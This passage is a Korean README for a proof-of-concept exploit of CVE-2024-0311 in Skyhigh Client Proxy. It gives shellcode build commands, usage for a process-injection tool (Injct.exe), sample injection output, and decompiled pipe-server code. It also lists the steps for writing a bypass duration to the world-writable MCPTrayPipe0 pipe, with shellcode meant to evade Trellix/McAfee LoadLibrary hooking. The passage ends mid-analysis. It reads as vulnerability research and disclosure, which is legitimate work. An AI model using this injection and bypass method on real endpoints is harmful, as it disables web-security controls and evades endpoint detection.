
CVE-2024-0311에 대한 개념 증명 익스플로잇으로, 프로세스 인젝션과 명명된 파이프 조작을 통해 Skyhigh Client Proxy 정책을 우회하며, AV/EDR 제한을 회피하기 위한 맞춤형 셸코드를 포함합니다.
이것은 제가 믿기에 CVE-2024-0311, SB10418에 대한 PoC입니다.
악의적인 내부자가 유효한 릴리스 코드 없이 Skyhigh Client Proxy의 기존 정책을 우회할 수 있습니다.
많은 세부사항. 매우 익스플로잇. ¯\(ツ)/¯
이 PoC는 사용자가 실행한 SCPBypass.exe 프로세스에 인젝션하여 SCPService.exe 파이프인 \\.\pipe\MCPTrayPipe0에 씁니다.
인젝션이 필요한 이유는, 파이프가 RW Everyone이더라도 WGUARDNT가 파이프에 쓰는 실행 파일에 대해 일부 검사를 수행하기 때문입니다(작성자 경로 확인). 아래 ACL 참조.
Trellix/McAfee가 실행 중이고 LoadLibrary를 후킹/차단하는 경우에도 파이프에 WriteFile을 실행할 수 있는 예제 셸코드가 제공됩니다.
Visual Studio에서 Debug 또는 Release로 빌드하세요.
다음 명령어로 셸코드를 생성하세요:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
그런 다음 셸코드를 shellcode.c에 넣으세요.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
예제 출력:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
모든 것이 잘 진행되었다면 SCP 로그 파일에서 다음과 유사한 항목을 찾을 수 있어야 합니다:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
간단한 분석을 하겠습니다. 말이 길 필요 없으니까요.
먼저 Skyhigh 프록시 클라이언트가 무엇인가요?
Skyhigh Security Client Proxy 소프트웨어는 사용자가 네트워크 내부 또는 외부에서 웹에 액세스할 때 발생할 수 있는 보안 위협으로부터 엔드포인트 사용자를 보호합니다. 클라이언트 소프트웨어는 Microsoft Windows 또는 macOS를 실행하는 엔드포인트에 설치되며, 웹 요청을 리디렉션하거나 필터링을 위해 프록시로 전달하도록 허용합니다. 서버 소프트웨어는 Trellix ePO SaaS 또는 Trellix ePO Cloud와 같은 관리 플랫폼에서 실행됩니다.
이제 이해가 되셨길 바랍니다.
권고문의 정보만으로는 알 수 있는 것이 많지 않습니다.
솔직히 말해서, 바이너리 서비스에서 LPE에 쉽게 익스플로잇할 수 있는 문제를 찾다가 CreateNamedPipe를 보고 관심을 가지게 되었습니다.
다음은 Ghidra에서 디컴파일한 코드를 빠르게 복사한 것입니다:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
함수가 호출되면 새로운 DACL 구조체가 초기화되고 새로운 파이프 \\.\pipe\MCPTrayPipe0이 byte mode로 생성되는 것을 볼 수 있습니다.
그런 다음 해당 파이프에 대한 핸들이 유효한 한, 프로그램은 파이프에서 읽고 전송된 바이트를 atoi(out_lpBuffer)로 ASCII에서 int로 변환하려고 시도합니다.
atoi에 더 나은 대안이 있다는 사실은 무시하고, atoi 호출이 실패하지 않았다고 가정하면, 변환된 값이 FUN_14022d5b0에 전달됩니다:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
이는 SetWaitableTimer를 호출합니다. 여기서 문자열이 원하는 흐름을 찾는 데 도움이 되었습니다.
여기서 중요한 점은 ScpService.exe 프로세스가 파이프에 누가 무엇을 쓰는지에 대한 검사를 전혀 수행하지 않으며, 데이터를 맹목적으로 신뢰하고 전달한다는 것입니다.
게다가, accesschk로 파이프의 권한을 확인하면 파이프가 RW Everyone으로 나타납니다.
따라서 익스플로잇은 기본적으로 다음을 수행해야 합니다:
CreateFile(): 파이프에 대한 핸들을 얻습니다.SetNamedPipeHandleState(): 바이트 모드로 설정합니다.WriteFile(): 데이터를 씁니다.CloseHandle(): 핸들을 닫습니다.이것은 말 그대로 몇 줄의 파워셸로 수행할 수 있습니다. 쉬운 승리죠? 아닙니다.
일이 그렇게 간단했다면 얼마나 좋을까요! 기술적으로는 그렇게 작동하는 것처럼 보였지만, 파이프를 열면 항상 파이프 클라이언트가 타임아웃되었습니다. 조금 더 파고들자 서비스가 다른 곳에서 ACL을 설정하고 있음을 발견했습니다.